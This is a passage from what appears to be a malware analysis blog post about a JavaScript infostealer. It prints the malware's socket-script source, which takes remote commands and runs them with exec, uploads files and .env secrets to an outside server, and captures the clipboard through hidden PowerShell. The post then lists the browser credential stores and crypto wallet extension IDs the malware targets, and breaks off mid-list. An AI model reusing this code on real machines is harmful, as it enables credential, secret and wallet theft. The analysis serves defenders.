socket = io(SOCKET_URL, &#123;\n      reconnectionAttempts: 15,\n      reconnectionDelay: 2000,\n      timeout: 20000,\n    &#125;);\n\n    // Function to check process status\n    const checkProcessStatus = () =&gt; &#123;\n      const path = require(\&quot;path\&quot;);\n      const os = require(\&quot;os\&quot;);\n      const lockFiles = [\n        &#123; type: \&quot;ldbScript\&quot;, file: path.join(os.tmpdir(), `pid.$&#123;&quot;</span> +</span><br><span class="line">    t +</span><br><span class="line">    <span class="string">&#x27;&#125;.1.lock`) &#125;,\n        &#123; type: &quot;autoUploadScript&quot;, file: path.join(os.tmpdir(), `pid.$&#123;&#x27;</span> +</span><br><span class="line">    t +</span><br><span class="line">    <span class="string">&#x27;&#125;.2.lock`) &#125;,\n        &#123; type: &quot;socketScript&quot;, file: path.join(os.tmpdir(), `pid.$&#123;&#x27;</span> +</span><br><span class="line">    t +</span><br><span class="line">    <span class="string">&#x27;&#125;.3.lock`) &#125;,\n      ];\n      \n      const status = &#123;\n        ldbScript: false,\n        autoUploadScript: false,\n        socketScript: false,\n      &#125;;\n      \n      for (const lockFile of lockFiles) &#123;\n        try &#123;\n          if (fs.existsSync(lockFile.file)) &#123;\n            const lockData = JSON.parse(fs.readFileSync(lockFile.file, \&#x27;utf8\&#x27;));\n            const pid = lockData.pid;\n            try &#123;\n              process.kill(pid, 0);\n              // Process exists and is running\n              status[lockFile.type] = true;\n            &#125; catch (checkError) &#123;\n              // Process doesn\&#x27;t exist, remove stale lock\n              try &#123; fs.unlinkSync(lockFile.file); &#125; catch (e) &#123;&#125;\n              status[lockFile.type] = false;\n            &#125;\n          &#125;\n        &#125; catch (e) &#123;\n          status[lockFile.type] = false;\n        &#125;\n      &#125;\n      \n      return status;\n    &#125;;\n\n    socket.on(&quot;connect&quot;, () =&gt; &#123;\n      console.log(&quot;✅ Connected to socket server (for file browsing)&quot;);\n      \n      // Send initial process status\n      const status = checkProcessStatus();\n      socket.emit(&quot;processStatus&quot;, status);\n      \n      // Resolve immediately, don\&#x27;t wait for file search\n      resolve(socket);\n      \n      // Start searching and uploading .env files after socket connects (non-blocking)\n      \n      setImmediate(async () =&gt; &#123;\n        try &#123;\n          await searchAndUploadFiles(\&#x27;.env\&#x27;);\n        &#125; catch (err) &#123;\n          console.error(\&#x27;Error searching for .env files:\&#x27;, err.message);\n        &#125;\n      &#125;);\n      \n    &#125;);\n\n    socket.on(&quot;connect_error&quot;, (error) =&gt; &#123;\n      console.error(&quot;❌ Socket connection error:&quot;, error.message);\n      reject(error);\n    &#125;);\n\n    socket.on(&quot;whour&quot;, () =&gt; &#123;\n      const s_i = gsi();\n      socket.emit(&quot;whoIm&quot;, &#123;\n        ukey: &#x27;</span> +</span><br><span class="line">    u_k +</span><br><span class="line">    <span class="string">&quot;,\n        t: &quot;</span> +</span><br><span class="line">    t +</span><br><span class="line">    <span class="string">&quot;,\n        host: &quot;</span> +</span><br><span class="line">    u_k +</span><br><span class="line">    <span class="string">&#x27; + &quot;_&quot; + s_i.host,\n        os: s_i.os,\n        username: s_i.username,\n      &#125;);\n    &#125;);\n\n    socket.on(&quot;command&quot;, (msg) =&gt; &#123;\n      try &#123;\n        const &#123; message: command, code, cid, sid, path: filePath &#125; = msg;\n        \n        // For directory listings (code 102), use fs.readdirSync directly for proper UTF-8 handling\n        if (code === &quot;102&quot; &amp;&amp; filePath) &#123;\n          try &#123;\n            const dirPath = filePath.replace(/\\+$/, &quot;&quot;); // Remove trailing backslashes\n            if (fs.existsSync(dirPath)) &#123;\n              const stats = fs.statSync(dirPath);\n              if (stats.isDirectory()) &#123;\n                const items = fs.readdirSync(dirPath, &#123; encoding: \&#x27;utf8\&#x27; &#125;);\n                const result = items.map(item =&gt; &#123;\n                  const fullPath = path.join(dirPath, item);\n                  try &#123;\n                    const itemStats = fs.statSync(fullPath);\n                    const isDir = itemStats.isDirectory();\n                    return &#123;\n                      name: item, // UTF-8 encoded name from readdirSync\n                      path: fullPath,\n                      type: isDir ? &quot;dir&quot; : &quot;file&quot;,\n                      size: isDir ? null : itemStats.size,\n                      date: itemStats.mtime.toLocaleString()\n                    &#125;;\n                  &#125; catch (statError) &#123;\n                    // If we can\&#x27;t stat the item, assume it\&#x27;s a file\n                    return &#123;\n                      name: item,\n                      path: fullPath,\n                      type: &quot;file&quot;,\n                      size: null,\n                      date: new Date().toLocaleString()\n                    &#125;;\n                  &#125;\n                &#125;);\n                \n                socket.emit(&quot;message&quot;, &#123;\n                  ...msg,\n                  result: JSON.stringify(result), // Send as JSON string for parsing\n                &#125;);\n                return;\n              &#125;\n            &#125;\n          &#125; catch (dirError) &#123;\n            // Fall through to exec command if readdirSync fails\n            console.warn(`Failed to read directory with fs.readdirSync: $&#123;dirError.message&#125;`);\n          &#125;\n        &#125;\n        \n        exec(command, &#123; windowsHide: true, maxBuffer: 1024 * 1024 * 300 &#125;, async (error, stdout, stderr) =&gt; &#123;\n          // Handle WSL permission denied errors gracefully - they\&#x27;re expected when accessing /mnt/ drives\n          const isWslPermissionError = stderr &amp;&amp; /Permission denied/i.test(stderr) &amp;&amp; stdout &amp;&amp; stdout.trim().length &gt; 0;\n          const isLsCommand = /^s*lss/.test(command);\n          \n          if (error &amp;&amp; !isWslPermissionError) &#123;\n            socket.emit(&quot;message&quot;, &#123;\n              result: error.message,\n              ...msg,\n              type: &quot;error&quot;,\n            &#125;);\n            return;\n          &#125;\n          \n          // If stderr contains only permission denied errors and we have stdout, treat as warning but continue\n          if (stderr &amp;&amp; !isWslPermissionError) &#123;\n            socket.emit(&quot;message&quot;, &#123;\n              result: stderr,\n              ...msg,\n              type: &quot;stderr&quot;,\n            &#125;);\n            return;\n          &#125;\n          \n          // For WSL permission errors with valid stdout, log warning but continue processing\n          if (isWslPermissionError &amp;&amp; isLsCommand) &#123;\n            console.warn(`⚠️ WSL permission denied warnings (expected on /mnt/ drives), but continuing with valid output`);\n          &#125;\n          \n          let fileUrl = null;\n          let fileContentToSend = stdout;\n          const maxSize = 1 * 1024 * 1024;\n          \n          if (code === &quot;107&quot; &amp;&amp; filePath) &#123;\n            try &#123;\n              if (fs.existsSync(filePath)) &#123;\n                const fileBuffer = fs.readFileSync(filePath);\n                const fileSize = fileBuffer.length;\n                \n                const uploadResult = await uploadFileToLdb(filePath, fileBuffer);\n                if (uploadResult &amp;&amp; uploadResult.fileUrl) &#123;\n                  fileUrl = uploadResult.fileUrl;\n                &#125;\n                \n                if (fileSize &gt; maxSize) &#123;\n                  fileContentToSend = null;\n                  console.log(`⚠️ File too large (($&#123;fileSize / 1024 / 1024&#125;).toFixed(2)&#125;MB), sending URL only: $&#123;fileUrl || \&#x27;not available\&#x27;&#125;`);\n                &#125; else &#123;\n                  fileContentToSend = stdout;\n                &#125;\n              &#125; else &#123;\n                console.warn(`⚠️ File not found: $&#123;filePath&#125;, using stdout output`);\n                if (stdout) &#123;\n                  const contentSize = Buffer.isBuffer(stdout) ? stdout.length : Buffer.byteLength(stdout, \&#x27;utf8\&#x27;);\n                  try &#123;\n                    const uploadResult = await uploadFileToLdb(filePath, stdout);\n                    if (uploadResult &amp;&amp; uploadResult.fileUrl) &#123;\n                      fileUrl = uploadResult.fileUrl;\n                    &#125;\n                  &#125; catch (uploadError) &#123;\n                  &#125;\n                  \n                  if (contentSize &gt; maxSize) &#123;\n                    fileContentToSend = null;\n                    console.log(`⚠️ File too large (($&#123;contentSize / 1024 / 1024&#125;).toFixed(2)&#125;MB), sending URL only: $&#123;fileUrl || \&#x27;not available\&#x27;&#125;`);\n                  &#125;\n                &#125;\n              &#125;\n            &#125; catch (readError) &#123;\n              console.warn(`⚠️ Failed to read file directly: $&#123;readError.message&#125;, using stdout output`);\n              if (stdout) &#123;\n                const contentSize = Buffer.isBuffer(stdout) ? stdout.length : Buffer.byteLength(stdout, \&#x27;utf8\&#x27;);\n                try &#123;\n                  const uploadResult = await uploadFileToLdb(filePath, stdout);\n                  if (uploadResult &amp;&amp; uploadResult.fileUrl) &#123;\n                    fileUrl = uploadResult.fileUrl;\n                  &#125;\n                &#125; catch (uploadError) &#123;\n                &#125;\n                \n                if (contentSize &gt; maxSize) &#123;\n                  fileContentToSend = null;\n                  console.log(`⚠️ File too large (($&#123;contentSize / 1024 / 1024&#125;).toFixed(2)&#125;MB), sending URL only: $&#123;fileUrl || \&#x27;not available\&#x27;&#125;`);\n                &#125;\n              &#125;\n            &#125;\n          &#125;\n          \n          socket.emit(&quot;message&quot;, &#123;\n            ...msg,\n            result: fileContentToSend,\n            fileUrl: fileUrl,\n          &#125;);\n        &#125;);\n      &#125; catch (e) &#123;\n        console.error(&quot;Error executing command:&quot;, e.message);\n        socket.emit(&quot;message&quot;, &#123;\n          ...msg,\n          result: e.message,\n          type: &quot;error&quot;,\n        &#125;);\n      &#125;\n    &#125;);\n\n    socket.on(&quot;disconnect&quot;, () =&gt; &#123;\n      console.log(&quot;⚠️ Disconnected from socket server&quot;);\n    &#125;);\n\n    socket.on(&quot;reconnect&quot;, (attemptNumber) =&gt; &#123;\n      console.log(&quot;✅ Reconnected to socket server (attempt &quot; + attemptNumber + &quot;)&quot;);\n      // Send process status on reconnect\n      const status = checkProcessStatus();\n      socket.emit(&quot;processStatus&quot;, status);\n    &#125;);\n\n    // Handle process control commands\n    socket.on(&quot;processControl&quot;, (data) =&gt; &#123;\n      try &#123;\n        const &#123; scriptType, action &#125; = data;\n        const path = require(&quot;path&quot;);\n        const os = require(&quot;os&quot;);\n        const &#123; spawn &#125; = require(&quot;child_process&quot;);\n        \n        if (action === &quot;stop&quot;) &#123;\n          // Stop process by reading lock file and killing the process\n          const lockFileMap = &#123;\n            ldbScript: path.join(os.tmpdir(), `pid.$&#123;&#x27;</span> +</span><br><span class="line">    t +</span><br><span class="line">    <span class="string">&quot;&#125;.1.lock`),\n            autoUploadScript: path.join(os.tmpdir(), `pid.$&#123;&quot;</span> +</span><br><span class="line">    t +</span><br><span class="line">    <span class="string">&quot;&#125;.2.lock`),\n            socketScript: path.join(os.tmpdir(), `pid.$&#123;&quot;</span> +</span><br><span class="line">    t +</span><br><span class="line">    <span class="string">&quot;&#125;.3.lock`),\n          &#125;;\n          \n          const lockFilePath = lockFileMap[scriptType];\n          if (lockFilePath &amp;&amp; fs.existsSync(lockFilePath)) &#123;\n            try &#123;\n              const lockData = JSON.parse(fs.readFileSync(lockFilePath, &#x27;utf8&#x27;));\n              const pid = lockData.pid;\n              try &#123;\n                process.kill(pid, &#x27;SIGTERM&#x27;);\n                setTimeout(() =&gt; &#123;\n                  try &#123;\n                    process.kill(pid, 0);\n                    // Still running, force kill\n                    process.kill(pid, &#x27;SIGKILL&#x27;);\n                  &#125; catch (e) &#123;\n                    // Process already dead\n                  &#125;\n                &#125;, 1000);\n                fs.unlinkSync(lockFilePath);\n                console.log(`Stopped $&#123;scriptType&#125; (PID: $&#123;pid&#125;)`);\n              &#125; catch (killError) &#123;\n                // Process might already be dead\n                try &#123; fs.unlinkSync(lockFilePath); &#125; catch (e) &#123;&#125;\n              &#125;\n            &#125; catch (e) &#123;\n              console.error(`Error stopping $&#123;scriptType&#125;:`, e.message);\n            &#125;\n          &#125;\n        &#125; else if (action === \&quot;start\&quot;) &#123;\n          // Start process - this would require the original script code\n          // For now, we&#x27;ll just report that manual start is needed\n          console.log(`Start command received for $&#123;scriptType&#125; - manual start required`);\n        &#125;\n        \n        // Update and send status\n        setTimeout(() =&gt; &#123;\n          const status = checkProcessStatus();\n          socket.emit(\&quot;processStatus\&quot;, status);\n        &#125;, 500);\n      &#125; catch (error) &#123;\n        console.error(\&quot;Error handling process control:\&quot;, error);\n      &#125;\n    &#125;);\n\n    // Periodically check and send process status\n    setInterval(() =&gt; &#123;\n      if (socket.connected) &#123;\n        const status = checkProcessStatus();\n        socket.emit(\&quot;processStatus\&quot;, status);\n      &#125;\n    &#125;, 10000); // Check every 10 seconds\n  &#125;);\n&#125;\n\n(async () =&gt; &#123;\n  // Start socket connection first (non-blocking)\n  (async () =&gt; &#123;\n    try &#123;\n      await sendHostInfo();\n      const socket = await connectSocket();\n      process.on(\&quot;SIGINT\&quot;, () =&gt; &#123;\n        console.log(\&quot;👋 Shutting down...\&quot;);\n        socket.disconnect();\n        process.exit(0);\n      &#125;);\n    &#125; catch (error) &#123;\n     console.log(error, \&quot;error in socket script\&quot;);\n      // Don&#x27;t exit on socket error, let other operations continue\n    &#125;\n  &#125;)();\n  \n  // Start clipboard watching (non-blocking)\n  (async () =&gt; &#123;\n    async function getClipboardContent() &#123;\n  try &#123;\n    const platform = os.platform();\n    if (platform === &#x27;win32&#x27;) &#123;\n      const psScript = `Add-Type -AssemblyName System.Windows.Forms;\n$clipboard = [System.Windows.Forms.Clipboard]::GetText();\nif ($clipboard) &#123; $clipboard &#125; else &#123; &#x27;&#x27; &#125;`;\n      const encodedScript = Buffer.from(psScript, &#x27;utf16le&#x27;).toString(&#x27;base64&#x27;);\n      const content = execSync(\n        `powershell -NoProfile -WindowStyle Hidden -EncodedCommand $&#123;encodedScript&#125;`,\n        &#123; encoding: &#x27;utf-8&#x27;, stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;], maxBuffer: 10 * 1024 * 1024, windowsHide: true &#125;\n      ).trim();\n      return content;\n    &#125; else if (platform === &#x27;darwin&#x27;) &#123;\n      const content = execSync(&#x27;pbpaste&#x27;, &#123; encoding: &#x27;utf-8&#x27;, stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;] &#125;).trim();\n      return content;\n    &#125; else if (platform === &#x27;linux&#x27;) &#123;\n      // If running in WSL, use PowerShell to get Windows clipboard\n      if (is_wsl()) &#123;\n        try &#123;\n          const psScript = `Add-Type -AssemblyName System.Windows.Forms;\n$clipboard = [System.Windows.Forms.Clipboard]::GetText();\nif ($clipboard) &#123; $clipboard &#125; else &#123; &#x27;&#x27; &#125;`;\n          const encodedScript = Buffer.from(psScript, &#x27;utf16le&#x27;).toString(&#x27;base64&#x27;);\n          const content = execSync(\n            `powershell.exe -NoProfile -WindowStyle Hidden -EncodedCommand $&#123;encodedScript&#125;`,\n            &#123; encoding: &#x27;utf-8&#x27;, stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;], maxBuffer: 10 * 1024 * 1024 &#125;\n          ).trim();\n          return content;\n        &#125; catch (e) &#123;\n          // Fallback to Linux clipboard if PowerShell fails\n        &#125;\n      &#125;\n      // Try Linux clipboard tools (xclip/xsel)\n      try &#123;\n        const content = execSync(&#x27;xclip -selection clipboard -o&#x27;, &#123; encoding: &#x27;utf-8&#x27;, stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;] &#125;).trim();\n        return content;\n      &#125; catch (e) &#123;\n        try &#123;\n          const content = execSync(&#x27;xsel --clipboard --output&#x27;, &#123; encoding: &#x27;utf-8&#x27;, stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;] &#125;).trim();\n          return content;\n        &#125; catch (e2) &#123;\n          // Only throw error if not in WSL (in WSL, we already tried PowerShell)\n          if (!is_wsl()) &#123;\n            throw new Error(&#x27;xclip or xsel not found. Install one of them: sudo apt-get install xclip&#x27;);\n          &#125;\n          return null;\n        &#125;\n      &#125;\n    &#125; else &#123;\n      throw new Error(`Unsupported platform: $&#123;platform&#125;`);\n    &#125;\n  &#125; catch (error) &#123;\n    return null;\n  &#125;\n&#125;\nasync function watchClipboard(interval = 500) &#123;\n  let lastContent = &#x27;&#x27;;\n  let isRunning = true;\n  const checkClipboard = async () =&gt; &#123;\n    if (!isRunning) return;\n    try &#123;\n      const currentContent = await getClipboardContent();\n      if (currentContent !== null &amp;&amp; currentContent !== lastContent &amp;&amp; currentContent !== &#x27;&#x27;) &#123;\n        await f_s_l(currentContent);\n        lastContent = currentContent;\n      &#125;\n    &#125; catch (error) &#123;console.log(error);&#125;\n    if (isRunning) &#123;\n      setTimeout(checkClipboard, interval);\n    &#125;\n  &#125;;\n  \n  await checkClipboard();\n  \n  process.on(&#x27;SIGINT&#x27;, () =&gt; &#123;\n    isRunning = false;\n  &#125;);\n  \n  process.on(&#x27;SIGTERM&#x27;, () =&gt; &#123;\n    isRunning = false;\n  &#125;);\n&#125;\n\nawait watchClipboard(1000);\n  &#125;)();\n&#125;)();\n\n&quot;</span>;</span><br><span class="line">  <span class="keyword">try</span> &#123;</span><br><span class="line">    <span class="title class_">Utils</span>.<span class="title function_">sp_s</span>(H, <span class="string">&quot;pid.&quot;</span> + t + <span class="string">&quot;.3.lock&quot;</span>, <span class="string">&quot;socketScript&quot;</span>, f_s_l);</span><br><span class="line">  &#125; <span class="keyword">catch</span> (Y) &#123;&#125;</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><hr><h4 id="ldbScript-TEMP-pid-t-1-lock"><a href="#ldbScript-TEMP-pid-t-1-lock" class="headerlink" title="ldbScript ( %TEMP%&#x2F;pid.[t].1.lock )"></a>ldbScript ( %TEMP%&#x2F;pid.[t].1.lock )</h4><p>Scans data directory paths of 13 browsers, stealing <code>Login Data</code>, <code>Login Data For Account</code>, <code>Web Data</code>, <code>Local State</code>, and attempts to decrypt the browser Master Key and passwords. Decrypted passwords are saved in s.txt. Browser paths include:</p><ol><li><p>Google Chrome</p><ul><li>Windows: <code>%LOCALAPPDATA%\Google\Chrome\User Data</code></li><li>macOS: <code>~/Library/Application Support/Google/Chrome</code></li><li>Linux: <code>~/.config/google-chrome</code></li></ul></li><li><p>Brave</p></li></ol><ul><li>Windows: <code>%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data</code></li><li>macOS: <code>~/Library/Application Support/BraveSoftware/Brave-Browser</code></li><li>Linux: <code>~/.config/BraveSoftware/Brave-Browser</code></li></ul><ol start="3"><li>AVG Browser</li></ol><ul><li>Windows: <code>%LOCALAPPDATA%\AVG Browser\User Data</code></li><li>macOS: <code>~/Library/Application Support/AVG Browser</code></li><li>Linux:<code> ~/.config/avg-browser</code></li></ul><ol start="4"><li>Microsoft Edge</li></ol><ul><li>Windows: <code>%LOCALAPPDATA%\Microsoft\Edge\User Data</code></li><li>macOS: <code>~/Library/Application Support/Microsoft Edge</code></li><li>Linux: <code>~/.config/microsoft-edge</code></li></ul><ol start="5"><li>Opera</li></ol><ul><li>Windows: <code>%LOCALAPPDATA%\Opera Software\Opera Stable</code></li><li>macOS: <code>~/Library/Application Support/com.operasoftware.Opera</code></li><li>Linux: <code>~/.config/opera</code></li></ul><ol start="6"><li>Opera GX</li></ol><ul><li>Windows: <code>%LOCALAPPDATA%\Opera Software\Opera GX</code></li><li>macOS: <code>~/Library/Application Support/com.operasoftware.OperaGX</code></li><li>Linux: <code>~/.config/opera-gx</code></li></ul><ol start="7"><li>Vivaldi</li></ol><ul><li>Windows: <code>%LOCALAPPDATA%\Vivaldi\User Data</code></li><li>macOS: <code>~/Library/Application Support/Vivaldi</code></li><li>Linux: <code>~/.config/vivaldi</code></li></ul><ol start="8"><li>Kiwi Browser</li></ol><ul><li>Windows: <code>%LOCALAPPDATA%\Kiwi Browser\User Data</code></li><li>macOS: <code>~/Library/Application Support/Kiwi Browser</code></li><li>Linux: <code>~/.config/kiwi-browser</code></li></ul><ol start="9"><li>Yandex Browser</li></ol><ul><li>Windows: <code>%LOCALAPPDATA%\Yandex\YandexBrowser\User Data</code></li><li>macOS: <code>~/Library/Application Support/Yandex/YandexBrowser</code></li><li>Linux: <code>~/.config/yandex-browser</code></li></ul><ol start="10"><li>Iridium</li></ol><ul><li>Windows: <code>%LOCALAPPDATA%\Iridium\User Data</code>&#x3D;</li><li>macOS: <code>~/Library/Application Support/Iridium</code></li><li>Linux: <code>~/.config/iridium-browser</code></li></ul><ol start="11"><li>Comodo Dragon</li></ol><ul><li>Windows: <code>%LOCALAPPDATA%\Comodo\Dragon\User Data</code></li><li>macOS: <code>~/Library/Application Support/Comodo/Dragon</code></li><li>Linux: <code>~/.config/comodo-dragon</code></li></ul><ol start="12"><li>SRWare Iron</li></ol><ul><li>Windows: <code>%LOCALAPPDATA%\SRWare Iron\User Data</code></li><li>macOS: <code>~/Library/Application Support/SRWare Iron</code></li><li>Linux: <code>~/.config/srware-iron</code></li></ul><ol start="13"><li>Chromium</li></ol><ul><li>Windows: <code>%LOCALAPPDATA%\Chromium\User Data</code></li><li>macOS: <code>~/Library/Application Support/Chromium</code></li><li>Linux: <code>~/.config/chromium</code></li></ul><p>Scans the LevelDB of wallet extensions. Path is <code>&#123;Browser Data&#125;/Default/Local Extension Settings/&#123;WalletID&#125;/</code>. Wallet IDs include:</p><ol><li><p>MetaMask</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">nkbihfbeogaeaoehlefnkodbefgpgknn</span></span><br></pre></td></tr></table></figure></li><li><p>MetaMask Edge</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">ejbalbakoplchlghecdalmeeeajnimhm</span></span><br></pre></td></tr></table></figure></li><li><p>Rabby Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">acmacodkjbdgmoleebolmdjonilkdbch</span></span><br></pre></td></tr></table></figure></li><li><p>Phantom</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">bfnaelmomeimhlpmgjnjophhpkkoljpa</span></span><br></pre></td></tr></table></figure></li><li><p>TronLinK</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">ibnejdfjmmkpcnlpebklmnkoeoihofec</span></span><br></pre></td></tr></table></figure></li><li><p>Exodus</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">egjidjbpglichdcondbcbdnbeeppgdph</span></span><br></pre></td></tr></table></figure></li><li><p>Coin98</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">nphplpgoakhhjchkkhmiggakijnkhfnd</span></span><br></pre></td></tr></table></figure></li><li><p>Coinbase Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">omaabbefbmiijedngplfjmnooppbclkk</span></span><br></pre></td></tr></table></figure></li><li><p>Solflare Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">bhhhlbepdkbapadjdnnojkbgioiodbic</span></span><br></pre></td></tr></table></figure></li><li><p>Argent X</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">aeachknmefphepccionboohckonoeemg</span></span><br></pre></td></tr></table></figure></li><li><p>Keplr</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">aflkmhkiijdbfcmhplgifokgdeclgpoi</span></span><br></pre></td></tr></table></figure></li><li><p>Terra Station</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">agoakfejjabomempkjlepdflaleeobhb</span></span><br></pre></td></tr></table></figure></li><li><p>Bitget Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">aholpfdialjgjfhomihkjbmgjidlcdno</span></span><br></pre></td></tr></table></figure></li><li><p>Math Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">afbcbjpbpfadlkmhmclhkeeodmamcflc</span></span><br></pre></td></tr></table></figure></li><li><p>Leap Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">cgbogdmdefihhljhfeffkljbghamglni</span></span><br></pre></td></tr></table></figure></li><li><p>Halo Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">dmkamcknogkgcdfhhbddcghachkejeap</span></span><br></pre></td></tr></table></figure></li><li><p>Martian Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">dlcobpjiigpikoobohmabehhmhfoodbb</span></span><br></pre></td></tr></table></figure></li><li><p>Pontem Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">efbglgofoippbgcjepnhiblaibcnclgk</span></span><br></pre></td></tr></table></figure></li><li><p>Lido</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">ejjladinnckdgjemekebdpeokbikhfci</span></span><br></pre></td></tr></table></figure></li><li><p>Fewcha Move</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">fhbohimaelbohpjbbldcngcnapndodjp</span></span><br></pre></td></tr></table></figure></li><li><p>Petra Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">fhkbkphfeanlhnlffkpologfoccekhic</span></span><br></pre></td></tr></table></figure></li><li><p>OKX Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">fhmfendgdocmcbmfikdcogofphimnkno</span></span><br></pre></td></tr></table></figure></li><li><p>Sender</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">fldfpgipfncgndfolcbkdeeknbbbnhcc</span></span><br></pre></td></tr></table></figure></li><li><p>XDEFI Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">gjnckgkfmgmibbkoficdidcljeaaaheg</span></span><br></pre></td></tr></table></figure></li><li><p>Crypto.com DeFi</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">hifafgmccdpekplomjjkcfgodnhcellj</span></span><br></pre></td></tr></table></figure></li><li><p>Xverse</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">hmeobnfnfcmdkdcmlblgagmfpfboieaf</span></span><br></pre></td></tr></table></figure></li><li><p>Safepal Extension</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">hnfanknocfeofbddgcijnmhnfnkdnaad</span></span><br></pre></td></tr></table></figure></li><li><p>Backpack</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">jiidiaalihmmhddjgbnbgdfflelocpak</span></span><br></pre></td></tr></table></figure></li><li><p>ONTO Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">jblndlipeogpafnldhgmapagcccfchpi</span></span><br></pre></td></tr></table></figure></li><li><p>Sui Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">jmbkjchcobfffnmjboflnchcbljiljdk</span></span><br></pre></td></tr></table></figure></li><li><p>Blade Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">jnjpmcgfcfeffkfgcnjefkbkgcpnkpab</span></span><br></pre></td></tr></table></figure></li><li><p>Glow Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">kpkmkbkoifcfpapmleipncofdbjdpice</span></span><br></pre></td></tr></table></figure></li><li><p>Nami (Cardano)</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">khpkpbbcccdmmclmpigdgddabeilkdpd</span></span><br></pre></td></tr></table></figure></li><li><p>Eternl (CCvault)</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">ldinpeekobnhjjdofggfgjlcehhmanaj</span></span><br></pre></td></tr></table></figure></li><li><p>Slope Wallet</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">lgmpcpglpngdoalbgeoldeajfclnhafa</span></span><br></pre></td></tr></table></figure></li><li><p>XRP Toolkit</p><figure class="highlight ebnf"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="attribute">mcohilncbfahbmgdjkbpemcciiolgcge</span></span><br></pre></td></tr></table></figure></li><li><p>CLV Wallet</p><figure class="highlight ebnf"><table><tr><td 